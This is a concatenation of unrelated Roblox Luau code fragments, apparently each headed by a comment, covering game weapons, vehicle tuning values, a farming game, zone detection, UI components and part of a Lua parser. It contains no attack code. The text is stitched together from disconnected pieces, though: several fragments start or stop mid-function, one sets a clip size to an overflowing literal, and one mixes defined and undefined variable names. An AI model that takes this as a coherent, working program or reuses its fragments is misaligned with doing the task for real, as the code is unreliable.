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--// Functions
function MakeFakeArms() Arms = Instance.new("Model") Arms.Name = "Arms" Arms.Parent = L_5_ local L_161_ = Instance.new("Humanoid") L_161_.MaxHealth = 0 L_161_.Health = 0 L_161_.Name = "" L_161_.Parent = Arms if L_3_:FindFirstChild("Shirt") then local L_166_ = L_3_:FindFirstChild("Shirt"):clone() L_166_.Parent = Arms end local L_162_ = L_3_:FindFirstChild("Right Arm"):clone() for L_167_forvar1, L_168_forvar2 in pairs(L_162_:GetChildren()) do if L_168_forvar2:IsA('Motor6D') then L_168_forvar2:Destroy() end end L_162_.Name = "Right Arm" L_162_.FormFactor = "Custom" L_162_.Size = Vector3.new(0.8, 2.5, 0.8) L_162_.Transparency = 0.0 local L_163_ = Instance.new("Motor6D") L_163_.Part0 = L_162_ L_163_.Part1 = L_3_:FindFirstChild("Right Arm") L_163_.C0 = CFrame.new() L_163_.C1 = CFrame.new() L_163_.Parent = L_162_ L_162_.Parent = Arms local L_164_ = L_3_:FindFirstChild("Left Arm"):clone() L_164_.Name = "Left Arm" L_164_.FormFactor = "Custom" L_164_.Size = Vector3.new(0.8, 2.5, 0.8) L_164_.Transparency = 0.0 local L_165_ = Instance.new("Motor6D") L_165_.Part0 = L_164_ L_165_.Part1 = L_3_:FindFirstChild("Left Arm") L_165_.C0 = CFrame.new() L_165_.C1 = CFrame.new() L_165_.Parent = L_164_ L_164_.Parent = Arms end function RemoveArmModel() if Arms then Arms:Destroy() Arms = nil end end local L_124_ function CreateShell() L_124_ = time() local L_169_ = L_1_.Shell:clone() if L_169_:FindFirstChild('Shell') then L_169_.Shell:Destroy() end L_169_.CFrame = L_1_.Chamber.CFrame L_169_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0) --shell.RotVelocity = Vector3.new(-10,40,30) L_169_.Parent = L_93_ L_169_.CanCollide = false game:GetService("Debris"):addItem(L_169_, 1) end
--[[ Welds primaryPart to secondaryPart in place --]]
local function weldParts(primaryPart: BasePart, secondaryPart: BasePart) local weld = Instance.new("WeldConstraint") weld.Part0 = primaryPart weld.Part1 = secondaryPart weld.Parent = secondaryPart return weld end return weldParts
--[[ Finds the top-level farm model from any descendant and returns the OwnerId attribute value of that farm. --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local FarmConstants = require(ReplicatedStorage.Source.Farm.FarmConstants) local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute) local getAttribute = require(ReplicatedStorage.Source.Utility.getAttribute) function getFarmOwnerIdFromInstance(instance: Instance) local farm = instance while farm and farm.Parent ~= FarmConstants.FarmContainer do farm = farm:FindFirstAncestor("Farm") end assert(farm, "The given instance does not belong to a farm") return getAttribute(farm, Attribute.OwnerId) :: number end return getFarmOwnerIdFromInstance
-- LOCAL FUNCTIONS
local function dictLength(dictionary) local count = 0 for _, _ in pairs(dictionary) do count += 1 end return count end local function fillOccupants(zonesAndOccupantsTable, zone, occupant) local occupantsDict = zonesAndOccupantsTable[zone] if not occupantsDict then occupantsDict = {} zonesAndOccupantsTable[zone] = occupantsDict end occupantsDict[occupant] = (occupant.Character or true) end local heartbeatActions = { ["player"] = function(recommendedDetection) return ZoneController._getZonesAndPlayers(activeZones, activeZonesTotalVolume, true, recommendedDetection) end, ["localPlayer"] = function(recommendedDetection) local zonesAndOccupants = {} local touchingZones = ZoneController.getTouchingZones(localPlayer, true, recommendedDetection) for _, zone in pairs(touchingZones) do if zone.activeTriggers["localPlayer"] then fillOccupants(zonesAndOccupants, zone, localPlayer) end end return zonesAndOccupants end, }
--[[hit.TouchEnded:Connect(function() hit.Open:play() close() end)]]
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 150000 -- Front brake force Tune.RBrakeForce = 100000 -- Rear brake force Tune.PBrakeForce = 500000 -- Handbrake force Tune.FLgcyBForce = 150000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 100000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 500000 -- Handbrake force [PGS OFF]
--[[** ensures Roblox Enum type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Enum = primitive("Enum")
--forced walkspeed
function module.Blockingsped(hum) coroutine.wrap(function() while true do task.wait() if hum.Parent.Data["IsBlocking"].Value == true then hum.WalkSpeed = 3 hum.JumpPower = 1 elseif hum.Parent.Data["IsBlocking"].Value == false then hum.WalkSpeed = 16 hum.JumpPower = defJump break end end end)() end
-- << CONSTANTS & SETUP >>
local rs = game:GetService("ReplicatedStorage") local pos = math.random(1,#music_list) local sound = Instance.new("Sound",workspace) sound.Volume = volume
--[=[ A class which holds data and methods for ScriptConnections. @class ScriptConnection ]=]
local ScriptConnection = {} ScriptConnection.__index = ScriptConnection
--/Sight
module.SightZoom = 10 -- Set to 0 if you want to use weapon's default zoom module.SightZoom2 = 0 --Set this to alternative zoom or Aimpart2 Zoom
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 8000 -- Spring Force Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward
--[[ Returns true if the system is on ]]
function BaseSystem:isOn() return self._isOn end
--[[ Defines ProximityPrompt visibility logic specific to the CanHarvest cta --]]
local CollectionService = game:GetService("CollectionService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local WagonTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.WagonTag) local CharacterTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.CharacterTag) local getWagonModelFromOwnerId = require(ReplicatedStorage.Source.Utility.Farm.getWagonModelFromOwnerId) local localPlayer = Players.LocalPlayer :: Player local function shouldEnable(promptParent: Instance) local wagonMaybe = getWagonModelFromOwnerId(localPlayer.UserId) if not wagonMaybe then -- Wagon doesn't exist, which only happens during the first FTUE stage. -- Harvesting triggers the next stage, so we allow harvesting without the wagon. return true end local wagon = wagonMaybe :: Model -- If wagon or Character doesn't exist, HasTag() returns false, so this still works correctly local isWagonFull = CollectionService:HasTag(wagon, WagonTag.WagonFull) local character = localPlayer.Character if not character then return false end local isHoldingPlant = CollectionService:HasTag(character :: Model, CharacterTag.Holding) -- Can't carry multiple plants if isHoldingPlant then return false end -- Don't want the player to be stuck holding a plant they can't place if isWagonFull then return false end return true end return shouldEnable
------------------------------------------------------------------------ -- closing of a function ------------------------------------------------------------------------
function luaY:close_func(ls) local L = ls.L local fs = ls.fs local f = fs.f self:removevars(ls, 0) luaK:ret(fs, 0, 0) -- final return -- luaM_reallocvector deleted for f->code, f->lineinfo, f->k, f->p, -- f->locvars, f->upvalues; not required for Lua table arrays f.sizecode = fs.pc f.sizelineinfo = fs.pc f.sizek = fs.nk f.sizep = fs.np f.sizelocvars = fs.nlocvars f.sizeupvalues = f.nups --assert(luaG_checkcode(f)) -- currently not implemented assert(fs.bl == nil) ls.fs = fs.prev -- the following is not required for this implementation; kept here -- for completeness -- L->top -= 2; /* remove table and prototype from the stack */ -- last token read was anchored in defunct function; must reanchor it if fs then self:anchor_token(ls) end end
-- Set the ImageLabel's content to the user thumbnail
PlayerInfo.AccountIcon.Image = content PlayerInfo.Welcome.Text = "Welcome, "..(Player.Name).."!"
-- Returns all objects under instance with Transparency
local function GetTransparentsRecursive(instance, partsTable) local partsTable = partsTable or {} for _, child in pairs(instance:GetChildren()) do if child:IsA('BasePart') or child:IsA('Decal') then table.insert(partsTable, child) end GetTransparentsRecursive(child, partsTable) end return partsTable end local function SelectionBoxify(instance) local selectionBox = Instance.new('SelectionBox') selectionBox.Adornee = instance selectionBox.Color = BrickColor.new('Lime green') selectionBox.Parent = instance return selectionBox end local function Light(instance) local light = PointLight:Clone() light.Range = light.Range + 2 light.Parent = instance end local function FadeOutObjects(objectsWithTransparency, fadeIncrement) repeat local lastObject = nil for _, object in pairs(objectsWithTransparency) do object.Transparency = object.Transparency + fadeIncrement lastObject = object end wait() until lastObject.Transparency >= 1 or not lastObject end local function Dematerialize(character, humanoid, firstPart) humanoid.WalkSpeed = 0 local parts = {} for _, child in pairs(character:GetChildren()) do if child:IsA('BasePart') then child.Anchored = true table.insert(parts, child) elseif child:IsA('LocalScript') or child:IsA('Script') then child:Destroy() end end local selectionBoxes = {} local firstSelectionBox = SelectionBoxify(firstPart) Light(firstPart) wait(0.05) for _, part in pairs(parts) do if part ~= firstPart then table.insert(selectionBoxes, SelectionBoxify(part)) Light(part) end end local objectsWithTransparency = GetTransparentsRecursive(character) FadeOutObjects(objectsWithTransparency, 0.1) wait(0.5) humanoid.Health = 0 DebrisService:AddItem(character, 2) local fadeIncrement = 0.05 delay(0.2, function() FadeOutObjects({firstSelectionBox}, fadeIncrement) if character then character:Destroy() end end) FadeOutObjects(selectionBoxes, fadeIncrement) end local function OnTouched(shot, otherPart) local character, humanoid = FindCharacterAncestor(otherPart) if character and humanoid and character ~= Character then ApplyTags(humanoid) if shot then local hitFadeSound = shot:FindFirstChild(HitFadeSound.Name) if hitFadeSound then hitFadeSound.Parent = humanoid.Torso hitFadeSound:Play() end shot:Destroy() end Dematerialize(character, humanoid, otherPart) end end local function OnEquipped() Character = Tool.Parent Humanoid = Character:WaitForChild('Humanoid') Player = PlayersService:GetPlayerFromCharacter(Character) end local function OnActivated() if Tool.Enabled and Humanoid.Health > 0 then Tool.Enabled = false FireSound:Play() local handleCFrame = Handle.CFrame local firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET) local shotCFrame = CFrame.new(firingPoint, Humanoid.TargetPoint) local laserShotClone = BaseShot:Clone() laserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2)) local bodyVelocity = Instance.new('BodyVelocity') bodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED bodyVelocity.Parent = laserShotClone laserShotClone.Touched:connect(function(otherPart) OnTouched(laserShotClone, otherPart) end) DebrisService:AddItem(laserShotClone, SHOT_TIME) laserShotClone.Parent = Tool wait(0) -- FireSound length ReloadSound:Play() wait(0) -- ReloadSound length Tool.Enabled = true end end local function OnUnequipped() end
--
local function tripleProduct(a, b, c) return b * c:Dot(a) - a * c:Dot(b) end
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) Tune.ShiftTime = .25 -- The time delay in which you initiate a shift and the car changes gear --Gear Ratios Tune.FinalDrive = 3.21 -- [TRANSMISSION CALCULATIONS FOR NERDS] Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier) --[[Reverse]] 5.000 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier --[[Neutral]] 0 , --[[ 1 ]] 3.519 , --[[ 2 ]] 2.320 , --[[ 3 ]] 1.700 , --[[ 4 ]] 1.400 , --[[ 5 ]] 0.907 , } Tune.FDMult = 1.3 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Close win dialog
local function closeDlg(input) local mouse = Enum.UserInputType.MouseButton1 local touch = Enum.UserInputType.Touch if input.UserInputType == mouse or input.UserInputType == touch then dlg.Visible = false end end -- closeDlg()
--CONFIG VARIABLES
local tweenTime = 1 local closeWaitTime = 3 local easingStyle = Enum.EasingStyle.Quad local easingDirection = Enum.EasingDirection.InOut local repeats = 0 local reverse = false local delayTime = 0
--[[ For when the Server is in state ]]
local ServerStorage = game:GetService("ServerStorage") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local SystemManager = require(ServerStorage.Source.Managers.SystemManager) local RoomManager = require(ServerStorage.Source.Managers.RoomManager) local Constants = require(ReplicatedStorage.Source.Common.Constants) local tagMap = require(ServerStorage.Source.tagMap) local spawnToolsAsync = require(ServerStorage.Source.spawnToolsAsync) local spawnMeteor = require(ServerStorage.Source.spawnMeteor) local sendAlert = require(ServerStorage.Source.Common.sendAlert) local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate local METEOR_FREQUENCY_PER_PLAYER = 45 local SHIELD_DEFLECT_RATE = 40 local connections = {} local ServerGame = {}
-- Constant CFrame to move all models to so that all viewports are from the same angle
local MODEL_POSITION = Vector3.new() local MODEL_CFRAME = CFrame.new()
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function GetCameraRotation(root) -- Relative rotational velocity: dampCam.Goal = -root.CFrame:vectorToObjectSpace(root.RotVelocity) * 0.1 local relRotVel = dampCam:Update() -- User view rotation: local viewRotation = dampRot:Update() viewRotation = CFrame.Angles(0, viewRotation.X, 0) * CFrame.Angles(viewRotation.Y, 0, 0) return CFrame.Angles(0, 0, 0) * viewRotation * CFrame.Angles(relRotVel.X, relRotVel.Y, relRotVel.Z) end -- GetCameraRotation local function GetViewCFrame(view, rotation) return view * PIVOT * rotation * OFFSET end -- GetViewCFrame
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\
local uis = game:GetService("UserInputService") local runservice = game:GetService("RunService") local tweenservice = game:GetService("TweenService") local player = game:GetService("Players").LocalPlayer local mouse = player:GetMouse() local camera = workspace.CurrentCamera repeat runservice.Heartbeat:Wait() until script.Parent:IsA("Model") -- yield until character local character = player.Character local rootpart = character:WaitForChild("HumanoidRootPart") local humanoid = character:WaitForChild("Humanoid") local aimoffset = script:WaitForChild("AimOffset") -- a property for other scripts to use to influence the viewmodel offset (such as a gun aim system) local torso local roothip local lowertorso local oldc0 local leftshoulder local rightshoulder local larm local rarm local armparts = {} local rigtype = nil local isrunning = false local armsvisible = true -- whether the arms are visible in first person local armtransparency = firstperson_arm_transparency local isfirstperson = false local sway = Vector3.new(0,0,0) local walksway = CFrame.new(0,0,0) local strafesway = CFrame.Angles(0,0,0) local jumpsway = CFrame.new(0,0,0) local jumpswaygoal = Instance.new("CFrameValue")
-- Create component
local Component = Cheer.CreateComponent('Tooltip', View); local Connections = {}; function Component.Start(Text) -- Hide the view View.Visible = false; -- Set the tooltip text View.Text = Text; -- Show the tooltip on hover Connections.ShowOnEnter = Support.AddGuiInputListener(View.Parent, 'Began', 'MouseMovement', true, Component.Show); Connections.HideOnLeave = Support.AddGuiInputListener(View.Parent, 'Ended', 'MouseMovement', true, Component.Hide); -- Clear connections when the component is removed Cheer.Bind(Component.OnRemove, ClearConnections); -- Return component for chaining return Component; end; function Component.Show() View.Size = UDim2.new(0, View.TextBounds.X + 10, 0, View.TextBounds.Y + 10); View.Position = UDim2.new(0.5, -View.AbsoluteSize.X / 2, 1, 3); View.Visible = true; end; function Component.Hide() View.Visible = false; end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; return Component;
-- Notify all clients that a laser has been fired so they can display the laser
local function playerFiredLaser(playerFired, endPosition) local toolHandle = getPlayerToolHandle(playerFired) if toolHandle then eventsFolder.LaserFired:FireAllClients(playerFired, toolHandle, endPosition) end end function damageCharacter(playerFired, characterToDamage, hitPosition) local humanoid = characterToDamage:FindFirstChild("Humanoid") local validShot = isHitValid(playerFired, characterToDamage, hitPosition) if humanoid and validShot then -- Remove health from character humanoid.Health -= LASER_DAMAGE end end
--[[ function SetPlayerMaxHealth(humanoid, health) if not humanoid or not health then return end local Ratio = (humanoid.Health / humanoid.MaxHealth) humanoid.MaxHealth = health humanoid.Health = (Ratio * humanoid.MaxHealth) end ]]
function ConsumeTarget(character, number) local Part = BasePart:Clone() Part.Name = "Effect" Part.Transparency = 1 Part.Size = Vector3.new(0.5, 0.5, 0.5) Part.CanCollide = false local Fire = SoulFire:Clone() Fire.Size = 1 Fire.Enabled = true Fire.Parent = Part local Light = SoulLight:Clone() Light.Color = Fire.Color Light.Enabled = true Light.Parent = Part if number and number < 3 then number = 3 end if character then local torso = character:FindFirstChild("Torso") if torso then number = (number or 4) for i = 1, number do local Part2 = Part:Clone() Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4) local Propulsion = Create("RocketPropulsion"){ Target = torso, TargetOffset = Vector3.new(0, 2, 0), ThrustP = 500, ThrustD = 5, MaxSpeed = 150, MaxTorque = Vector3.new(4000000, 4000000, 0), Parent = Part2, } Debris:AddItem(Part2, 15) Part2.Parent = game:GetService("Workspace") Propulsion.ReachedTarget:connect(function() if not CheckIfAlive() then return end if Part2 and Part2.Parent then Part2:Destroy() end end) Propulsion:Fire() wait(0.25) end end else local TargetPosition = InvokeClient("MousePosition") if TargetPosition then TargetPosition = TargetPosition.Position local Direction = (TargetPosition - Torso.Position).Unit for i = 1, 5 do local Part2 = Part:Clone() Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4) local Velocity = (Direction * 150) local Mass = (Part2:GetMass() * Gravity) local BF = Create("BodyForce"){ Parent = Part2, force = Vector3.new(0, Part2:GetMass() * 196.2, 0), } Part2.Velocity = Velocity Part2.Touched:connect(function(Hit) if not Hit or not Hit.Parent then return end local character = Hit.Parent if character:IsA("Hat") then character = Hit.Parent end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (Player == player or IsTeamMate(Player, player)) then return end if Part2 and Part2.Parent then Part2:Destroy() end end) Debris:AddItem(Part2, 15) Part2.Parent = game:GetService("Workspace") end end end end function CreateFirePart(CreateNew) for i, v in pairs(Handle:GetChildren()) do if v:IsA("BasePart") then v:Destroy() end end if not CreateNew then return end FirePart = BasePart:Clone() FirePart.Name = "Effect" FirePart.Transparency = 1 FirePart.CanCollide = false local Fire = SoulFire:Clone() Fire.Enabled = true Fire.Parent = FirePart local Light = SoulLight:Clone() Light.Color = Fire.Color Light.Enabled = true Light.Parent = FirePart local Weld = Create("Weld"){ Part0 = Handle, Part1 = FirePart, C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), C1 = CFrame.new(0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), Parent = FirePart, } FirePart.Parent = Handle end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Time = RunService.Stepped:wait() if (Time - LastAttack) < 0.2 then Lunge() else Attack() end LastAttack = Time Tool.Enabled = true end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") if not CheckIfAlive() then return end ToolEquipped = true Spawn(function() local CurrentlyEquipped = true ToolUnequipped1 = Tool.Unequipped:connect(function() CurrentlyEquipped = false if ToolUnequipped1 then ToolUnequipped1:disconnect() end end) Sounds.Unsheath:Play() Humanoid.WalkSpeed = 18 --SetPlayerMaxHealth(Humanoid, 135) CreateFirePart(true) Spawn(function() while ToolEquipped and CurrentlyEquipped and CheckIfAlive() do wait(1) if not ToolEquipped or not CurrentlyEquipped or not CheckIfAlive() then break end Humanoid.Health = (Humanoid.Health + 0.25) end end) end) end function Unequipped() CreateFirePart(true) --[[for i, v in pairs(Sounds) do v:Stop() end]] if CheckIfAlive() then --SetPlayerMaxHealth(Humanoid, 100) Humanoid.WalkSpeed = 16 end Tool.Grip = Grips.Up ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end CreateFirePart(true) Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Blow(Handle, SwordDamage)
-- Holding services
Players = game:GetService("Players") ReplicatedStorage = game:GetService("ReplicatedStorage")
-- Permissions
function CanEditObject(object) local player = Players.LocalPlayer local character = player.Character return Permissions.CanEdit end function CanEditProperty(object,propertyData) local tags = propertyData["tags"] for _,name in pairs(tags) do if name == "readonly" then return false end end return CanEditObject(object) end
-- Number of bullets in a clip
local ClipSize = 1e+99999999999999999999999999999999999999999999999999999999999999999999999
--Turbo Settings
Tune.Aspiration = "Single" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 8 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 25 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 20 -- cooldown for use of the tool again BoneModelName = "Dust X event" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--wait(math.random(0,5)/10)
while true do wait(0.2) local target = findNearestTorso(humRoot.Position) if target ~= nil then script.Parent.Humanoid:MoveTo(target.Position + Vector3.new(math.random(-3,3),0,math.random(-3,3)), target) end if math.random(1,5) == 1 then script.Parent.Humanoid.Jump = true end end
--[[ Used to catch any errors that may have occurred in the promise. ]]
function Promise.prototype:catch(failureCallback) assert( failureCallback == nil or type(failureCallback) == "function" or failureCallback.__call ~= nil, string.format(ERROR_NON_FUNCTION, "Promise:catch") ) return self:_andThen(debug.traceback(nil, 2), nil, failureCallback) end
-- Shifter
if INVERTED == false then INVERTED = 1 else INVERTED = -1 end Values.Gear.Changed:connect(function() local Gear = Values.Gear.Value local Shift = "Down" if Gear > Val then Shift = "Up" end Val = Gear script.Shift:Play() if FE then handler:FireServer("Shifter",Shift,MOT,ANGLE,INVERTED,SHIFT_TIME) else if Shift == "Up" then MOT.DesiredAngle = math.rad(ANGLE)*INVERTED wait(SHIFT_TIME) MOT.DesiredAngle = 0 else MOT.DesiredAngle = -math.rad(ANGLE)*INVERTED wait(SHIFT_TIME) MOT.DesiredAngle = 0 end end end)
--[=[ Removes a postfix from a string if it exists @param str string @param postfix string @return string ]=]
function String.removePostfix(str: string, postfix: string): string if str:sub(-#postfix) == postfix then return str:sub(1, -#(postfix) - 1) else return str end end
----
wait(.01) debounce = false end end script.Parent.Touched:connect(onTouch)
-- If in-game, enable ctrl hotkeys for prism selection
if Mode == 'Tool' then AssignHotkey({ 'LeftControl', 'K' }, Targeting.PrismSelect); AssignHotkey({ 'RightControl', 'K' }, Targeting.PrismSelect); end;
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
function RayCast(startPos, vec, rayLength) local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) if hitObject and hitPos then local distance = rayLength - (hitPos - startPos).magnitude if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then -- there is a chance here for potential infinite recursion return RayCast(hitPos, vec, distance) end end return hitObject, hitPos end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new("StringValue") weaponIconTag.Value = IconURL weaponIconTag.Name = "icon" weaponIconTag.Parent = creatorTag end local function CreateBullet(bulletPos) local bullet = Instance.new('Part', Workspace) bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.1, 0.1, 0.1) bullet.BrickColor = BrickColor.new("Black") bullet.Shape = Enum.PartType.Block bullet.CanCollide = false bullet.CFrame = CFrame.new(bulletPos) bullet.Anchored = true bullet.TopSurface = Enum.SurfaceType.Smooth bullet.BottomSurface = Enum.SurfaceType.Smooth bullet.Name = 'Bullet' DebrisService:AddItem(bullet, 2.5) local shell = Instance.new("Part") shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0) shell.Size = Vector3.new(1,1,1) shell.BrickColor = BrickColor.new(226) shell.Parent = game.Workspace shell.CFrame = script.Parent.Handle.CFrame shell.CanCollide = false shell.Transparency = 0 shell.BottomSurface = 0 shell.TopSurface = 0 shell.Name = "Shell" shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20)) shell.RotVelocity = Vector3.new(0,200,0) DebrisService:AddItem(shell, 1) local shellmesh = Instance.new("SpecialMesh") shellmesh.Scale = Vector3.new(.15,.4,.15) shellmesh.Parent = shell return bullet end local function Reload() if not Reloading then Reloading = true -- Don't reload if you are already full or have no extra ammo if AmmoInClip ~= ClipSize and SpareAmmo > 0 then if RecoilTrack then RecoilTrack:Stop() end if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = true end end if ReloadTrack then ReloadTrack:Play() end script.Parent.Handle.Reload:Play() wait(ReloadTime) -- Only use as much ammo as you have local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) AmmoInClip = AmmoInClip + ammoToUse SpareAmmo = SpareAmmo - ammoToUse UpdateAmmo(AmmoInClip) --WeaponGui.Reload.Visible = false if ReloadTrack then ReloadTrack:Stop() end end Reloading = false end end function OnFire() if IsShooting then return end if MyHumanoid and MyHumanoid.Health > 0 then if RecoilTrack and AmmoInClip > 0 then RecoilTrack:Play() end IsShooting = true while LeftButtonDown and AmmoInClip > 0 and not Reloading do if Spread and not DecreasedAimLastShot then Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) UpdateCrosshair(Spread) end DecreasedAimLastShot = not DecreasedAimLastShot if Handle:FindFirstChild('FireSound') then Pitch.Pitch = .8 + (math.random() * .5) Handle.FireSound:Play() Handle.Flash.Enabled = true flare.MuzzleFlash.Enabled = true --Handle.Smoke.Enabled=true --This is optional end if MyMouse then local targetPoint = MyMouse.Hit.p local shootDirection = (targetPoint - Handle.Position).unit -- Adjust the shoot direction randomly off by a little bit to account for recoil shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread) * shootDirection local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range) local bullet -- Create a bullet here if hitObject then bullet = CreateBullet(bulletPos) end if hitObject and hitObject.Parent then local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") if hitHumanoid then local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) --game.ReplicatedStorage.Remotes.TakeDamage:FireServer(hitHumanoid) if bullet then bullet:Destroy() bullet = nil WeaponGui.Crosshair.Hit:Play() --bullet.Transparency = 1 end Spawn(UpdateTargetHit) end end end AmmoInClip = AmmoInClip - 1 UpdateAmmo(AmmoInClip) end wait(FireRate) end Handle.Flash.Enabled = false IsShooting = false flare.MuzzleFlash.Enabled = false --Handle.Smoke.Enabled=false --This is optional if AmmoInClip == 0 then Handle.Tick:Play() --WeaponGui.Reload.Visible = true Reload() end if RecoilTrack then RecoilTrack:Stop() end end end local TargetHits = 0 function UpdateTargetHit() TargetHits = TargetHits + 1 if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = true end wait(0.5) TargetHits = TargetHits - 1 if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = false end end function UpdateCrosshair(value, mouse) if WeaponGui then local absoluteY = 650 WeaponGui.Crosshair:TweenSize( UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.33) end end function UpdateAmmo(value) if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = false end end if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo end end function OnMouseDown() LeftButtonDown = true OnFire() end function OnMouseUp() LeftButtonDown = false end function OnKeyDown(key) if string.lower(key) == 'r' then Reload() if RecoilTrack then RecoilTrack:Stop() end end end function OnEquipped(mouse) Handle.EquipSound:Play() 